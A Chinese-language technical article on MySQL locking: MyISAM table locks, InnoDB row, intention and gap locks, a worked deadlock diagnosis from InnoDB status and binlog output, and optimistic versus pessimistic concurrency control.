对于MyISAM存储引擎,虽然使用表级锁定在锁定实现的过程中比实现行级锁定或页级锁所带来的附加成本都要小,锁定本身所消耗的资源也是最少。但是由于锁定的颗粒度比较大,所以造成锁定资源的争用情况也会比其他的锁定级别都要多,从而在较大程度上会降低并发处理能力。所以,在优化MyISAM存储引擎锁定问题的时候,最关键的就是如何让其提高并发度。由于锁定级别是不可能改变的了,所以首先需要尽可能让锁定的时间变短,然后就是让可能并发进行的操作尽可能的并发。 (1)查询表级锁争用情况 MySQL内部有两组专门的状态变量记录系统内部锁资源争用情况: mysql> show status like 'table%'; +----------------------------+---------+ | Variable_name | Value | +----------------------------+---------+ | Table_locks_immediate | 100 | | Table_locks_waited | 11 | +----------------------------+---------+ 这里有两个状态变量记录MySQL内部表级锁定的情况,两个变量说明如下: Table_locks_immediate 产生表级锁定的次数; Table_locks_waited 出现表级锁定争用而发生等待的次数; 两个状态值都是从系统启动后开始记录,出现一次对应的事件则数量加1。如果这里的Table_locks_waited状态值比较高,那么说明系统中表级锁定争用现象比较严重,就需要进一步分析为什么会有较多的锁定资源争用了。 (2)缩短锁定时间,唯一的办法就是让Query执行时间尽可能的短。 a)尽量减少大的复杂Query,将复杂Query分拆成几个小的Query分布进行; b)尽可能的建立足够高效的索引,让数据检索更迅速; c)尽量让MyISAM存储引擎的表只存放必要的信息,控制字段类型; d)利用合适的机会优化MyISAM表数据文件。 (3)分离能并行的操作 说到MyISAM的表锁,而且是读写互相阻塞的表锁,可能有些人会认为在MyISAM存储引擎的表上就只能是完全的串行化,没办法再并行了,MyISAM的存储引擎还有一个非常有用的特性ConcurrentInsert(并发插入) MyISAM存储引擎有一个控制是否打开Concurrent Insert功能的参数选项concurrent_insert: concurrent_insert=2,无论MyISAM表中有没有空洞(即表的中间没有被删除的行)都允许在表尾并发插入记录; concurrent_insert=1,默认,如果MyISAM表中没有空洞,MyISAM允许在一个进程读表的同时另一个进程从表尾插入记录 concurrent_insert=0,不允许并发插入。 可以利用MyISAM存储引擎的并发插入特性来解决应用中对同一表查询和插入的锁争用。例如将concurrent_insert系统变量设为2,总是允许并发插入;同时通过定期在系统空闲时段执行OPTIMIZE TABLE语句来整理空间碎片,收回因删除记录而产生的中间空洞。 (4)合理利用读写优先级 MyISAM存储引擎是读写互相阻塞的,一个进程请求某个MyISAM表的读锁,同时另一个进程也请求同一表的写锁,此时是写进程先获得锁,即使读请求先到锁等待队列,写请求后到,写锁也会插到读锁请求之前。 这是因为MySQL的表级锁定对于读和写是有不同优先级设定的,默认写优先级要大于读优先级。 所以如果可以根据各自系统环境的差异决定读与写的优先级: 通过执行命令SET LOW_PRIORITY_UPDATES=1使该连接读比写的优先级高。如果系统是一个以读为主可以设置此参数,如果以写为主则不用设置; 通过指定INSERT、UPDATE、DELETE语句的LOW_PRIORITY属性,降低该语句的优先级。 虽然上面方法都是要么更新优先,要么查询优先的方法,但还是可以用其来解决查询相对重要的应用(如用户登录系统)中读锁等待严重的问题。 另外MySQL也提供了一种折中的办法来调节读写冲突,即给系统参数max_write_lock_count设置一个合适的值,当一个表的读锁达到这个值后,MySQL就暂时将写请求的优先级降低,给读进程一定获得锁的机会。 一些需要长时间运行的查询操作,也会使写进程饿死,因此应用中应尽量避免出现长时间运行的查询操作,不要总想用一条SELECT语句来解决问题,因为这种看似巧妙的SQL语句往往比较复杂耗时,在可能的情况下可以通过使用中间表等措施对SQL语句做一定的分解,使每一步查询都能在较短时间完成,从而减少锁冲突。如果复杂查询不可避免,应尽量安排在数据库空闲时段执行,比如一些定期统计可以安排在夜间执行。
行级锁定
行级锁定不是MySQL自己实现的锁定方式,而是由其他存储引擎自己所实现的,如InnoDB存储引擎及MySQL的分布式存储引擎NDBCluster等都实现了行级锁定。
1.InnoDB锁定模式及实现机制
InnoDB的锁定机制和Oracle数据库有不少相似之处。InnoDB的行级锁定同样分为两种类型,共享锁和排他锁
而在锁定机制的实现过程中为了让行级锁定和表级锁定共存,InnoDB也同样使用了意向锁(表级锁定)的概念,也就有了意向共享锁和意向排他锁
当一个事务要给自己需要的某个资源加锁的时候,如果遇到一个共享锁正锁定着自己需要的资源的时候,自己可以再加一个共享锁,不过不能加排他锁。但如果遇到自己需要锁定的资源已经被一个排他锁占有之后,则只能等待该锁定释放资源之后自己才能获取锁定资源并添加自己的锁定。
而意向锁的作用就是当一个事务在需要获取资源锁定的时候,如果遇到自己需要的资源已经被排他锁占用的时候,该事务可以需要锁定行的表上面添加一个合适的意向锁。如果自己需要一个共享锁,那么就在表上添加一个意向共享锁。而如果自己需要的是某行或某些行上添加一个排他锁的话,则先在表上添加一个意向排他锁。意向共享锁可以同时并存多个,但意向排他锁同时只能有一个存在。
所以可以说InnoDB的锁定模式实际上可以分为四种: 共享锁(S),排他锁(X),意向共享锁(IS)和意向排他锁(IX)
四种锁的共存逻辑关系:
共享锁 排它锁 意向共享锁 意向排它锁
共享锁 兼容 冲突 兼容 冲突
排它锁 冲突 冲突 冲突 冲突
意向共享锁 兼容 冲突 兼容 兼容
意向排它锁 冲突 冲突 兼容 兼容
共享锁(S): 允许一个事务去读一行,阻止其他事务获得相同数据集的排他锁。
排他锁(X): 允许获得排他锁的事务更新数据,阻止其他事务取得相同数据集的共享读锁和排他写锁。
意向共享锁(IS): 事务打算给数据行加行共享锁,事务在给一个数据行加共享锁前必须先取得该表的IS锁。
意向排他锁(IX): 事务打算给数据行加行排他锁,事务在给一个数据行加排他锁前必须先取得该表的IX锁。
如果一个事务请求的锁模式与当前的锁兼容,InnoDB就将请求的锁授予该事务;如果两者不兼容,该事务就要等待锁释放。
意向锁是InnoDB自动加的,不需用户干预。
对于UPDATE、DELETE和INSERT语句,InnoDB会自动给涉及数据集加排他锁(X);
对于普通SELECT语句,InnoDB不会加任何锁;
事务可以通过以下语句显示给记录集加共享锁或排他锁。
共享锁(S): select * from table_name where ... lock in share mode
排他锁(X): select * from table_name where ... for update
用select...in share mode获得共享锁,主要用在需要数据依存关系时来确认某行记录是否存在,并确保没有人对这个记录进行update或delete操作。
但是如果当前事务也需要对该记录进行更新操作,则很有可能造成死锁,对于锁定行记录后需要进行更新操作的应用,应该使用select... for update方式获得排他锁。
死锁的发生
T1:
begin tran
select * from table lock in share mode
update table set column1='hello'
T2:
begin tran
select * from table lock in share mode
update table set column1='world'
假设T1和T2同时达到select,T1对table加共享锁,T2也对table加共享锁,当T1的select执行完,准备执行update时,根据锁机制,T1的共享锁需要升级到排他锁才能执行接下来的update.在升级排他锁前必须等table上的其它共享锁(T2)释放,同理T2也在等T1的共享锁释放。于是死锁产生了
死锁怎么解决呢?一种办法是,如下:
T1:
begin tran
select * from table for update
update table set column1='hello'
T2:
begin tran
select * from table for update
update table set column1='world'
当T1的select执行时直接对表加上了排他锁,T2在执行select时就需要等T1事务完全执行完才能执行,排除了死锁发生。
但当第三个user过来想执行一个查询语句时,也因为排他锁的存在而不得不等待,第四、五个user也会因此而等待,在大并发情况下让大家等待显得性能就太友好了。
2.InnoDB行锁实现方式
InnoDB行锁是通过给索引上的索引项加锁来实现的,只有通过索引条件检索数据InnoDB才使用行级锁,否则InnoDB将使用表锁
在实际应用中要特别注意InnoDB行锁的这一特性,不然的话可能导致大量的锁冲突,从而影响并发性能
(1)在不通过索引条件查询的时候,InnoDB确实使用的是表锁,而不是行锁。
(2)由于MySQL的行锁是针对索引加的锁,不是针对记录加的锁,所以虽然是访问不同行的记录,但如果使用相同的索引键是会出现锁冲突的。
(3)当表有多个索引时不同的事务可使用不同的索引锁定不同的行。不论是使用主键索引、唯一索引或普通索引,InnoDB都会使用行锁来对数据加锁。
(4)即便在条件中使用了索引字段,但是否使用索引来检索数据是由MySQL通过判断不同执行计划的代价来决定的,如果MySQL认为全表扫描效率更高,比如对一些很小的表就不会使用索引,这种情况下InnoDB将使用表锁,而不是行锁。因此在分析锁冲突时别忘了检查SQL的执行计划,以确认是否真正使用了索引。
3.间隙锁(Next-Key锁)
当用范围条件而不是相等条件检索数据并请求共享或排他锁时,InnoDB会给符合条件的已有数据记录的索引项加锁;
对于键值在条件范围内但并不存在的记录,叫做"间隙(GAP)",InnoDB也会对这个"间隙"加锁,这种锁机制就是所谓的间隙锁
例:
假如emp表中只有101条记录,其empid的值分别是1,2,...,100,101,下面的SQL:
mysql> select * from emp where empid > 100 for update;
是一个范围条件的检索,InnoDB不仅会对符合条件的empid值为101的记录加锁,也会对empid大于101这些并不存在的记录的"间隙"加锁。
InnoDB使用间隙锁的目的:
(1)防止幻读,以满足相关隔离级别的要求。对于上面的例子,要是不使用间隙锁,如果其他事务插入了empid大于100的任何记录,那么本事务如果再次执行上述语句就会发生幻读;
(2)为了满足其恢复和复制的需要。
显然在使用范围条件检索并锁定记录时,即使某些不存在的键值也会被无辜的锁定,而造成在锁定的时候无法插入锁定键值范围内的任何数据。在某些场景下这可能会对性能造成很大的危害。
除了间隙锁给InnoDB带来性能的负面影响之外,通过索引实现锁定的方式还存在其他几个较大的性能隐患:
(1)当Query无法利用索引的时候,InnoDB会放弃使用行级别锁定而改用表级别的锁定,造成并发性能的降低;
(2)当Query使用的索引并不包含所有过滤条件的时候,数据检索使用到的索引键所只想的数据可能有部分并不属于该Query的结果集的行列,但是也会被锁定,因为间隙锁锁定的是一个范围,而不是具体的索引键;
(3)当Query在使用索引定位数据的时候,如果使用的索引键一样但访问的数据行不同的时候(索引只是过滤条件的一部分),一样会被锁定。
因此,在实际应用开发中,尤其是并发插入比较多的应用,要尽量优化业务逻辑,尽量使用相等条件来访问更新数据,避免使用范围条件。
InnoDB除了通过范围条件加锁时使用间隙锁外,如果使用相等条件请求给一个不存在的记录加锁,InnoDB也会使用间隙锁。
4.死锁
MyISAM表锁是deadlock free的,这是因为MyISAM总是一次获得所需的全部锁,要么全部满足,要么等待,因此不会出现死锁。但在InnoDB中,除单个SQL组成的事务外,锁是逐步获得的,当两个事务都需要获得对方持有的排他锁才能继续完成事务,这种循环锁等待就是典型的死锁。
在InnoDB的事务管理和锁定机制中,有专门检测死锁的机制,会在系统中产生死锁之后的很短时间内就检测到该死锁的存在。当InnoDB检测到系统中产生了死锁之后,InnoDB会通过相应的判断来选这产生死锁的两个事务中较小的事务来回滚,而让另外一个较大的事务成功完成。
那InnoDB是以什么来为标准判定事务的大小的呢?MySQL官方手册中也提到了这个问题,实际上在InnoDB发现死锁之后,会计算出两个事务各自插入、更新或删除的数据量来判定两个事务的大小。也就是说哪个事务所改变的记录条数越多,在死锁中就越不会被回滚掉。
但有一点需要注意的就是,当产生死锁的场景中涉及到不止InnoDB存储引擎的时候,InnoDB是没办法检测到该死锁的,这时候就只能通过锁定超时限制参数InnoDB_lock_wait_timeout来解决。
这个参数并不是只用来解决死锁问题,在并发访问比较高的情况下,如果大量事务因无法立即获得所需的锁而挂起,会占用大量计算机资源,造成严重性能问题,甚至拖跨数据库。通过设置合适的锁等待超时阈值,可以避免这种情况发生。
通常死锁都是应用设计的问题,通过调整业务流程、数据库对象设计、事务大小,以及访问数据库的SQL语句,绝大部分死锁都可以避免。
几种避免死锁的常用方法:
(1)在应用中,如果不同的程序会并发存取多个表,应尽量约定以相同的顺序来访问表,这样可以大大降低产生死锁的机会。
(2)在程序以批量方式处理数据的时候,如果事先对数据排序,保证每个线程按固定的顺序来处理记录,也可以大大降低出现死锁的可能。
(3)在事务中,如果要更新记录,应该直接申请足够级别的锁,即排他锁,而不应先申请共享锁,更新时再申请排他锁,因为当用户申请排他锁时,其他事务可能又已经获得了相同记录的共享锁,从而造成锁冲突,甚至死锁。
(4)在REPEATABLE-READ隔离级别下,如果两个线程同时对相同条件记录用SELECT...FOR UPDATE加排他锁,在没有符合该条件记录情况下,两个线程都会加锁成功。程序发现记录尚不存在,就试图插入一条新记录,如果两个线程都这么做,就会出现死锁。这种情况下,将隔离级别改成READ COMMITTED,就可避免问题。
(5)当隔离级别为READ COMMITTED时,如果两个线程都先执行SELECT...FOR UPDATE,判断是否存在符合条件的记录,如果没有就插入记录。此时只有一个线程能插入成功,另一个线程会出现锁等待,当第1个线程提交后第2个线程会因主键重出错,但虽然这个线程出错了却会获得一个排他锁。这时如果有第3个线程又来申请排他锁,也会出现死锁。对于这种情况可以直接做插入操作,然后再捕获主键重异常,或在遇到主键重错误时,总是执行ROLLBACK释放获得的排他锁。
数据库死锁及其排查过程
业务报错日志:SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction,错误信息显示我们业务中有一条数据库操作遇到了死锁情况
1、执行“show engine innodb status”获取INNODB引擎当前信息
------------------------
LATEST DETECTED DEADLOCK
------------------------
2017-01-04 09:25:17 7f553477d700
*** (1) TRANSACTION:
TRANSACTION 124378994, ACTIVE 0.007 sec starting index read
mysql tables in use 1, locked 1
LOCK WAIT 4 lock struct(s), heap size 1184, 8 row lock(s), undo log entries 7
LOCK BLOCKING MySQL thread id: 11573556 block 11572504
MySQL thread id 11572504, OS thread handle 0x7f56342fb700, query id 3368968901 10.44.182.0 shzfstore updating
UPDATE `sku` SET `quantity`=quantity-'1',`lock_stock`=lock_stock+'1',`sys_version`=sys_version+1 WHERE `id` = '15608' AND `quantity` >= '1' limit 1
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 393 page no 45 n bits 248 index `PRIMARY` of table `store_product`.`sku` trx id 124378994 lock_mode X locks rec but not gap waiting
Record lock, heap no 19 PHYSICAL RECORD: n_fields 19; compact format; info bits 0
......
*** (2) TRANSACTION:
TRANSACTION 124378995, ACTIVE 0.004 sec starting index read
mysql tables in use 1, locked 1
3 lock struct(s), heap size 1184, 2 row lock(s), undo log entries 1
MySQL thread id 11573556, OS thread handle 0x7f553477d700, query id 3368968902 10.172.221.117 shzfstore updating
UPDATE `sku` SET `quantity`=quantity-'1',`lock_stock`=lock_stock+'1',`sys_version`=sys_version+1 WHERE `id` = '15504' AND `quantity` >= '1' limit 1
*** (2) HOLDS THE LOCK(S):
RECORD LOCKS space id 393 page no 45 n bits 248 index `PRIMARY` of table `store_product`.`sku` trx id 124378995 lock_mode X locks rec but not gap
Record lock, heap no 19 PHYSICAL RECORD: n_fields 19; compact format; info bits 0
......
*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 393 page no 43 n bits 240 index `PRIMARY` of table `store_product`.`sku` trx id 124378995 lock_mode X locks rec but not gap waiting
Record lock, heap no 81 PHYSICAL RECORD: n_fields 19; compact format; info bits 0
......
*** WE ROLL BACK TRANSACTION (2)
LATEST DETECTED DEADLOCK记录了最近一次的死锁情况。
2017-01-04 09:25:17时间跟我们接收到的报错日志时间吻合。
上面还可以看出两个事务之间发生锁竞争时,给我们留下的部分数据
事务1
UPDATEskuSETquantity=quantity-'1',lock_stock=lock_stock+'1',sys_version=sys_version+1 WHEREid= '15608' ANDquantity>= '1' limit 1
事务2
UPDATEskuSETquantity=quantity-'1',lock_stock=lock_stock+'1',sys_version=sys_version+1 WHEREid= '15504' ANDquantity>= '1' limit 1
死锁的两个资源均被lock_mode X locks了
最后,mysql给了很重要的一个数据“WE ROLL BACK TRANSACTION (2)” MYSQL回滚了事务2。既然mysql回滚了事务2,那么肯定是事务2的语句触发了死锁,被mysql回滚了,也就是应该为报错日志所记录的那部分。同时,MYSQL执行了事务1,那么事务1的SQL语句肯定被记录在BINLOG中了。
2.查看binlog日志,找出事务1所执行的语句
查找依据:
SQL语句,根据LATEST DETECTED DEADLOCK提供的死锁时记录的sql语句。
线程ID(mysql的唯一标识): MySQL thread id 11572504
执行时间(时间线):2017-01-04 09:25:17 7f553477d700
根据以上三个标识,以及BINLOG的起始标志“BEGIN、COMMIT”,几乎可以100%确定事务1所包含的SQL语句。
binlog信息大致如下
#170104 9:25:17 server id 3194178605 end_log_pos 137170469 CRC32 0x1b6559de Query thread_id=11572504 exec_time=0 error_code=0
SET TIMESTAMP=1483493117/*!*/;
BEGIN
......
### UPDATE `store_product`.`sku`
### WHERE
### @1=15504
### @2=11516
### @3=0.01
### @4=120065
### @5=109433
### @6=19
### SET
### @1=15504
### @2=11516
### @3=0.01
### @4=120065
### @5=109432
### @6=20
# at 137172557
......
### UPDATE `store_product`.`sku`
### WHERE
### @1=15608
### @2=11551
### @3=0.01
### @4=120077
### @5=109426
### @6=19
### SET
### @1=15608
### @2=11551
### @3=0.01
### @4=120077
### @5=109425
### @6=20
......
COMMIT/*!*/;
3.还原事务2所包含的执行语句
事务1的语句找齐了,接下来找事务2的语句,报错日志里也详细记录了发起请求时的参数情况,根据参数和我们处理业务的代码,可以复现事务2所要执行的语句
BEGIN
......
### UPDATE `store_product`.`sku`
### WHERE
### @1=15608
### @2=11516
### @3=0.01
### @4=120065
### @5=109433
### @6=19
### SET
### @1=15608
### @2=11516
### @3=0.01
### @4=120065
### @5=109432
### @6=20
......
### UPDATE `store_product`.`sku`
### WHERE
### @1=15504
### @2=11551
### @3=0.01
### @4=120077
### @5=109426
### @6=19
### SET
### @1=15504
### @2=11551
### @3=0.01
### @4=120077
### @5=109425
### @6=20
......
COMMIT/*!*/;
根据两个事务所执行的sql语句,目前可以还原死锁产生的原因了
4.查看两个事务执行语句的顺序:
顺序 事务1 事务2 说明
1 事务1begin
2 事务2begin
3 事务1 给 sku表 id 15504记录上 X 锁
UPDATE sku SET quantity=quantity-'1',lock_stock=lock_stock+'1',sys_version=sys_version+1 WHERE id = '15504' AND quantity >= '1' limit 1
4 事务2 给 sku表 id 15608记录上 X 锁
UPDATE sku SET quantity=quantity-'1', lock_stock=lock_stock+'1', sys_version=sys_version+1 WHERE id = '15608' AND quantity >= '1' limit 1
5 UPDATE sku SET quantity=quantity-'1', lock_stock=lock_stock+'1', sys_version=sys_version+1 WHERE id = '15608' AND quantity >= '1' limit 1
这里是关键,事务1想给sku表 id 15608上X锁,发现被别人(事务2)上锁了,等待锁释放
6 UPDATE sku SET quantity=quantity-'1', lock_stock=lock_stock+'1', sys_version=sys_version+1 WHERE id = '15504' AND quantity >= '1' limit 1
事物2打算给sku表id为15504记录上 X 排它锁,发现被其他事务上了,而且此事务居然还在等他提交,这时MYSQL立刻回滚事务2…(php发现MYSQL返回死锁信息,记录该信息到错误日志…发送回滚指令…mysql已经“帮”他回滚了…)
7 执行成功,事务1发现别人的锁释放了,获得X锁,执行成功
8 commit,事务1执行成功,记录binlog日志
解决方案
减小事务中的语句数量
在业务中调整语句的执行顺序,例如可以按照where条件中字段的大小进行一下排序,按照排序后顺序执行,让死锁变为锁等待。
相关补充
innodb的行锁,锁的是查询条件中的索引字段,以及索引字段对应的primary key字段
5.什么时候使用表锁
对于InnoDB表,在绝大部分情况下都应该使用行级锁,因为事务和行锁往往是选择InnoDB表的理由。但在个别特殊事务中,也可以考虑使用表级锁:
(1)事务需要更新大部分或全部数据,表又比较大,如果使用默认的行锁,不仅这个事务执行效率低,而且可能造成其他事务长时间锁等待和锁冲突,这种情况下可以考虑使用表锁来提高该事务的执行速度。
(2)事务涉及多个表,比较复杂,很可能引起死锁,造成大量事务回滚。这种情况也可以考虑一次性锁定事务涉及的表,从而避免死锁、减少数据库因事务回滚带来的开销。
当然应用中这两种事务不能太多,否则就应该考虑使用MyISAM表了。
在InnoDB下使用表锁要注意以下两点
(1)使用LOCK TABLES虽然可以给InnoDB加表级锁,但必须说明的是,表锁不是由InnoDB存储引擎层管理的,而是由其上一层──MySQL Server负责的,仅当autocommit=0、InnoDB_table_locks=1(默认设置)时,InnoDB层才能知道MySQL加的表锁,MySQL Server也才能感知InnoDB加的行锁,这种情况下InnoDB才能自动识别涉及表级锁的死锁,否则InnoDB将无法自动检测并处理这种死锁。
(2)在用 LOCK TABLES对InnoDB表加锁时要注意,要将AUTOCOMMIT设为0,否则MySQL不会给表加锁;事务结束前,不要用UNLOCK TABLES释放表锁,因为UNLOCK TABLES会隐含地提交事务;COMMIT或ROLLBACK并不能释放用LOCK TABLES加的表级锁,必须用UNLOCK TABLES释放表锁。正确的方式见如下语句:
例如,如果需要写表t1并从表t读,可以按如下做:
SET AUTOCOMMIT=0;
LOCK TABLES t1 WRITE,t2 READ,...;
[do something with tables t1 and t2 here];
COMMIT;
UNLOCK TABLES;
6.InnoDB行锁优化建议
InnoDB存储引擎由于实现了行级锁定,虽然在锁定机制的实现方面所带来的性能损耗可能比表级锁定会要更高一些,但是在整体并发处理能力方面要远远优于MyISAM的表级锁定的。当系统并发量较高的时候,InnoDB的整体性能和MyISAM相比就会有比较明显的优势了。但是,InnoDB的行级锁定同样也有其脆弱的一面,使用不当的时候,可能会让InnoDB的整体性能表现不仅不能比MyISAM高,甚至可能会更差。
(1)要想合理利用InnoDB的行级锁定,做到扬长避短,必须做好以下工作:
a)尽可能让所有的数据检索都通过索引来完成,从而避免InnoDB因为无法通过索引键加锁而升级为表级锁定;
b)合理设计索引,让InnoDB在索引键上面加锁的时候尽可能准确,尽可能的缩小锁定范围,避免造成不必要的锁定而影响其他Query的执行;
c)尽可能减少基于范围的数据检索过滤条件,避免因为间隙锁带来的负面影响而锁定了不该锁定的记录;
d)尽量控制事务的大小,减少锁定的资源量和锁定时间长度;
e)在业务环境允许的情况下,尽量使用较低级别的事务隔离,以减少MySQL因为实现事务隔离级别所带来的附加成本。
(2)由于InnoDB的行级锁定和事务性,所以肯定会产生死锁,下面是一些比较常用的减少死锁产生概率的小建议:
a)类似业务模块中,尽可能按照相同的访问顺序来访问,防止产生死锁;
b)在同一个事务中,尽可能做到一次锁定所需要的所有资源,减少死锁产生概率;
c)对于非常容易产生死锁的业务部分,可以尝试使用升级锁定颗粒度,通过表级锁定来减少死锁产生的概率。
(3)可以通过检查InnoDB_row_lock状态变量来分析系统上的行锁的争夺情况:
InnoDB的行级锁定状态变量不仅记录了锁定等待次数,还记录了锁定总时长、每次平均时长及最大时长,此外还有一个非累积状态量显示了当前正在等待锁定的等待数量。 InnoDB_row_lock_current_waits: 当前正在等待锁定的数量; InnoDB_row_lock_time: 从系统启动到现在锁定总时间长度; InnoDB_row_lock_time_avg: 等待平均时长 InnoDB_row_lock_time_max: 从系统启动到现在等待最常的一次所花的时间; InnoDB_row_lock_waits: 系统启动后到现在总共等待的次数; 尤其是当等待次数很高,而且每次等待时长也不小的时候,就需要分析系统中为什么会有如此多的等待,然后根据分析结果着手指定优化计划。 如果发现锁争用比较严重,如InnoDB_row_lock_waits和InnoDB_row_lock_time_avg的值比较高,还可以通过设置InnoDB Monitors来进一步观察发生锁冲突的表、数据行等,并分析锁争用的原因,具体方法如下: mysql> create table InnoDB_monitor(a INT) engine=InnoDB; 然后可用以下语句查看Innodb数据库当前的状态信息,包括锁状态,输出内容中包含了一些平均值的统计信息,这些平均值是自上次输出结果生成以来的统计数 mysql> show engine InnoDB status; 监视器可以通过发出下列语句来停止查看: mysql> drop table InnoDB_monitor; 设置监视器后会有详细的当前锁等待的信息,包括表名、锁类型、锁定记录的情况等,便于进行进一步的分析和问题的确定。 为什么要先创建一个叫InnoDB_monitor的表呢?因为创建该表实际上就是告诉InnoDB开始要监控他的细节状态了,然后InnoDB就会将比较详细的事务及锁定信息记录进入MySQL的errorlog中,以便后面做进一步分析使用。打开监视器以后,默认每15秒会向日志中记录监控的内容,如果长时间打开会导致.err文件变得非常的巨大,所以用户在确认问题原因之后要记得删除监控表以关闭监视器,或通过使用"--console"选项来启动服务器以关闭写日志文件。
高并发 悲观锁和乐观锁
并发控制一般采用三种方法,分别是乐观锁和悲观锁及时间戳。 针对数据库来说,锁是数据库系统系统区别于文件系统的一个关键特性。该机制用于管理对共享资源的并发访问! 悲观锁、乐观锁使用场景是针对数据库操作来说的,是一种锁机制。 悲观锁(Pessimistic Lock): 一般就是通常说的数据库锁机制,每次去拿数据的时候都悲观地认为别人会修改,所以每次在拿数据的时候都会上锁,这样别人想拿这个数据就会block直到它拿到锁。传统的关系型数据库里边就用到了很多这种锁机制,比如行锁,表锁等,读锁,写锁等,都是在做操作之前先上锁。 乐观锁(Optimistic Lock): 一般是指用户自己实现的一种锁机制,比如hibernate实现的乐观锁,甚至编程语言也有乐观锁的思想的应用;每次去拿数据的时候都乐观地认为别人不会修改,所以不会上锁,但在更新的时候会判断一下在此期间别人有没有去更新这个数据,可以使用版本号等机制,即对数据做版本控制。乐观锁适用于多读的应用类型,这样可以提高吞吐量,像数据库如果提供类似于write_condition机制的其实都是提供的乐观锁。 悲观锁认为数据随时会修改,自己读数据库时别人可能刚好在写自己刚读的数据,所以整个数据处理中需要将数据加锁,不让别人修改自己读取的数据,只有自己把数据读完了才允许别人修改那部分数据,或反过来说自己修改某条数据时不允许别人读取该数据,只有等自己的整个事务提交了才释放自己加上的锁允许其他用户访问那部分数据。 悲观锁一般都是依靠关系数据库提供的锁机制,事实上关系数据库中的行锁、表锁不论是读写锁都是悲观锁 乐观锁认为一个用户读数据时别人不会去写自己所读的数据,每次自己操作数据的时候认为没有人来修改它,所以不去加锁,但在更新时会去判断在此期间数据有没有被修改,需要用户自己去实现。 既然都有数据库提供的悲观锁可以方便使用为什么要使用乐观锁呢? 对于读操作远多于写操作时大多都是读取,这时候一个更新操作加锁会阻塞所有读取,降低了吞吐量,最后还要释放锁,锁是需要一些开销的,只要想办法解决极少量的更新操作的同步问题。如果是读写比例差距不是非常大或系统没有响应不及时,吞吐量瓶颈问题,那就不要去使用乐观锁,它增加了复杂度,也带来了额外的风险。 乐观锁实现方式: 1、版本号(记为version): 就是给数据增加一个版本标识,在数据库表中增加一个version字段,每次更新把这个字段加1,读取数据时把version读出来,更新时比较version,如果还是开始读取的version就可以更新了,如果现在的version比老的version大,说明有其他事务更新了该数据并增加了版本号,这时得到一个无法更新的通知,用户自行根据这个通知来决定怎么处理,比如重新开始一遍。这里的关键是判断version和更新两个动作需要作为一个原子单元执行,否则在判断可以更新以后正式更新之前有别的事务修改了version,这时再去更新就可能会覆盖前一个事务做的更新,造成第二类丢失更新,所以可以使用update … where … and version="old version"这样的语句,根据返回结果是0还是非0来得到通知,0说明更新没有成功,因为version被改了,返回非0说明更新成功。 2、时间戳(timestamp): 和版本号基本一样,只是通过时间戳来判断而已,时间戳要使用数据库服务器的时间戳不能是业务系统的时间。 时间戳就是不加锁,通过时间戳来控制并发出现的问题,在数据库表中单独加一列时间戳如"TimeStamp",每次读时把该字段也读出来,当写回去的时候把该字段加1,提交之前跟数据库的该字段比较一次,如果比数据库的值大的话就允许保存,否则不允许保存,这种处理方法虽然不使用数据库系统提供的锁机制,但这种方法可以大大提高数据库处理的并发量,因为这种方法可以避免了长事务中的数据库加锁开销(操作员A和操作员B操作过程中都没有对数据库数据加锁),大大提升了大并发量下的系统整体性能表现。 3、待更新字段: 和版本号方式相似,只是不增加额外字段,直接使用有效数据字段做版本控制信息,因为有时可能无法改变旧系统的数据库表结构。假设有个待更新字段叫count,先去读取这个count,更新的时候去比较数据库中count的值是不是期望的值即开始读的值,如果是就把修改的count的值更新到该字段,否则更新失败。java的基本类型的原子类型对象如AtomicInteger就是这种思想 4、所有字段: 和待更新字段类似,只是使用所有字段做版本控制信息,只有所有字段都没变化才会执行更新。 乐观锁几种方式的区别: 新系统设计可以使用version方式和timestamp方式,需要增加字段,应用范围是整条数据,不论那个字段修改都会更新version,也就是说两个事务更新同一条记录的两个不相关字段也是互斥的,不能同步进行。旧系统不能修改数据库表结构的时候使用数据字段作为版本控制信息,不需要新增字段,待更新字段方式只要其他事务修改的字段和当前事务修改的字段没有重叠就可以同步进行,并发性更高 乐观锁机制往往基于系统中的数据存储逻辑,因此也具备一定的局 限性,如在上例中,由于乐观锁机制是在系统中实现,来自外部系统的用户 余额更新操作不受系统的控制,因此可能会造成脏数据被更新到数据库中。在 系统设计阶段,应该充分考虑到这些情况出现的可能性,并进行相应调整(如将乐观锁策略在数据库存储过程中实现,对外只开放基于此存储过程的数据更新途径,而不是将数据库表直接对外公开) ABA问题 在多线程运行中,因指令重排序优化的存在,数据依赖性问题。在极短的时间里A线程处理完数据之后又将数据修改回第一次修改时的值。在此过程中尽管B线程从主存拿到了修改前的值,在A处理过程中对B透明,A处理完之后,B线程去操作该数据,并未发现这个变量被修改过。这一过程称为:ABA问题。CAS所致 CAS 全称 compare and swap 或者compare and exchange 比较并且交换。用于在没有锁的情况下,多个线程对同一个值的更新 【 活锁和死锁 】 并发控制会造成活锁和死锁,就像操作系统那样,会因为互相等待而导致。 活锁指的是T1封锁了数据R,T2同时也请求封锁数据R,T3也请求封锁数据R,当T1释放了锁之后,T3会锁住R,T4也请求封锁R,则T2就会一直等待下去,这种处理方法就是采用"先来先服务"策略; 死锁就是我等你,你又等我,双方就会一直等待下去,比如: T1封锁了数据R1,正请求对R2封锁,而T2封住了R2,正请求封锁R1,这样就会导致死锁,死锁这种没有完全解决的方法,只能尽量预防,预防的方法有: ①一次封锁发,指的是一次性把所需要的数据全部封锁住,但是这样会扩大了封锁的范围,降低系统的并发度; ②顺序封锁发,指的是事先对数据对象指定一个封锁顺序,要对数据进行封锁,只能按照规定的顺序来封锁,但是这个一般不大可能的。 系统如何判断出现死锁呢,毕竟出现死锁不能一直干等下去,要及时发现死锁同时尽快解决出现的死锁,诊断和判断死锁有两种方法,一是超时法,二是等待图法。 超时法就是如果某个事物的等待时间超过指定时限,则判定为出现死锁; 等待图法指的是如果事务等待图中出现了回路,则判断出现了死锁。 对于解决死锁的方法,只能是撤销一个处理死锁代价最小的事务,释放此事务持有的所有锁,同时对撤销的事务所执行的数据修改操作必须加以恢复。
简单通过单表的测试模拟死锁,事务中的隐式提交,间隙锁
